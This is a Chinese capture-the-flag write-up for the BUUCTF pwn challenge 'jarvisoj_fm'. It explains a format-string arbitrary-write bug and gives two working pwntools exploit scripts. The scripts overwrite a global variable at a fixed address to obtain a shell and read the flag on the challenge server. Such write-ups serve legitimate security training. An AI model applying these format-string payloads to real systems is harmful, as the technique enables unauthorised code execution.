首页 > 其他分享 >jarvisoj_fm

jarvisoj_fm

时间:2023-08-08 13:22:51浏览次数:31  
标签:addr fm pwn sh 偏移 jarvisoj payload

jarvisoj_fm

BUUCTF pwn
考点:格式化字符串漏洞

image-20230807232152466

格式化字符串,任意地址写漏洞

将x写为4即可getshell,x的地址为0x0804a02c,调试可得输入的内容位于栈偏移11个单位处

exp

from pwn import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn')

p=remote('node4.buuoj.cn',29551)
x_addr=0x804A02C

payload=p32(x_addr)+b"%11$n"

p.sendline(payload)

p.interactive()

或更通用

#!/usr/bin/env python2
#-*- coding=UTF-8 -*-
from pwn import *
context.log_level = 'debug'
#sh = process('./jarvisoj_fm')
sh = remote('node3.buuoj.cn',26325)
#gdb.attach(sh)
x_addr = 0x0804a02c
#将栈偏移13个单位处的x_addr指针指向的地址内容修改为4
#payload中x_addr写入的位置为栈偏移13处,见下图
#25346225(小端)是栈偏移11,所以2ca00408(小端)是栈偏移11+2=13
payload = '%4c%13$n' + p32(x_addr)
#pause()
sh.sendline(payload)
sh.sendline('cat flag')
sh.interactive()

标签:addr,fm,pwn,sh,偏移,jarvisoj,payload
From: https://www.cnblogs.com/imarch22/p/17613913.html

相关文章

  • 636-基于FMC的Kintex XCKU060高性能PCIe载板
    一、板卡概述   板卡主控芯片采用Xilinx公司的KintexUltraScale系列FPGAXCKU060-2FFVA1156。板载2组64bit的DDR4SDRAM,每组容量2GB,可稳定运行在2400MT/s。支持PCIEGen3x8模式及一路FMCHPC接口。同时可提供Windows,Linux上位机驱动。 二、主要规格 ● 板载......
  • Visual ChatGPT:Microsoft ChatGPT 和 VFM 相结合
    推荐:使用NSDT场景编辑器助你快速搭建可二次编辑的3D应用场景什么是VisualChatGPT?VisualChatGPT是一个包含VisualFoundation模型(VFM)的系统,可帮助ChatGPT更好地理解、生成和编辑视觉信息。VFM能够指定输入输出格式,将视觉信息转换为语言格式,并处理VFM历史记录、优先级......
  • clang 静态编译 ffmpeg
    文档说明:只记录关键的地方;发文时间:2023-08-06意义:静态编译ffmpeg,可自由裁剪,使用libc构建;支持macos、linux构建;生成库依赖库图环境:alpine:3.17dockerclang备注:大部分软件源代码来源于github.com,下载过程断断续续的。请自备代理借助swoole-cli已经编写好......
  • 肖健雄(Jianxiong Xiao)的开源SFM代码SFMedu的运行方法
    注意:本文是针对肖健雄(JianxiongXiao)博士的的开源SFM代码SFMedu(https://github.com/jianxiongxiao/SFMedu)的运行方法。本人的运行环境:操作系统:Window1064位;Matalb:MatalbR2013b;C++IDE:MicrosoftVisualStudio2010;编译器:MicrosoftVisualC++2010。SFMedu(https://gith......
  • 619-基于双FMC接口 ZU19EG 的6U VPX采集存储计算处理卡
    一、板卡概述   该板卡是采集、存储、计算、管理一体的高集成度、加固型的信号处理平台,本板卡基于Xilinx公司ZynqUltraScale+MPSOC系列SOCXCZU19EG-FFVC1760架构,其中,ARM端搭载一组64-bitDDR4,总容量达4GB,可稳定运行在2400MT/s,板卡ARM对外支持1路USB3.0接口、2路千兆以太......
  • 气体流量传感器 AFM3000/SFM3000 驱动
    之前买入了奥松电子的气体流量传感器,型号为AFM3000。到手后发现没有Arduino的驱动代码,调试不了。离谱的是,我在Arduino论坛逛的时候,发现了这个问题:I2CcommunicationwithSFM3000seriesflowsensorfromSensirion。问题中用到的气体流量传感器为SFM3000,看了说明书后,只能......
  • 要在 Dev-C++ 中添加 SFML 库,你需要按照以下步骤进行设置:
    下载SFML:首先,你需要从SFML官方网站下载适用于你的编译器(例如MinGW)和操作系统的SFML库。确保下载正确版本的SFML(32位或64位)和与你的编译器兼容的版本。配置Dev-C++环境:打开Dev-C++,转到"Tools"(工具)菜单,然后选择"CompilerOptions"(编译器选项)。添加S......
  • 剥下“java.lang.OutOfMemoryError: unable to create new native thread”的外衣
     星期一早上到了公司,据称产品环境抛出了最可爱的异常—OutOfMemory, 它是这样来描述他自己的:java.lang.OutOfMemoryError:unabletocreatenewnativethread而且这位仁兄竟然还堂而皇之地同时出现在了3个application里面,所有应用全部遭殃。那可爱的OOM是如何产生的呢?直接原因......
  • FFmpeg方法用法大全【欢迎补充】
    1.定义FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含了非常先进的音频/视频编解码库libavcodec,为了保证高可移植性和编解码质量,libavcodec里很多code都是从头开......
  • ffmpeg视频处理
    CMakeLists.txtcmake_minimum_required(VERSION3.25)project(test)set(CMAKE_CXX_STANDARD17)set(CMAKE_CXX_STANDARD14)set(FFMPEG_DIR/usr/local/ffmpeg)set(FFMPEG_INCLUDE_DIR${FFMPEG_DIR}/include)set(FFMPEG_LIBRARY_DIR${FFMPEG_DIR}/lib)include_......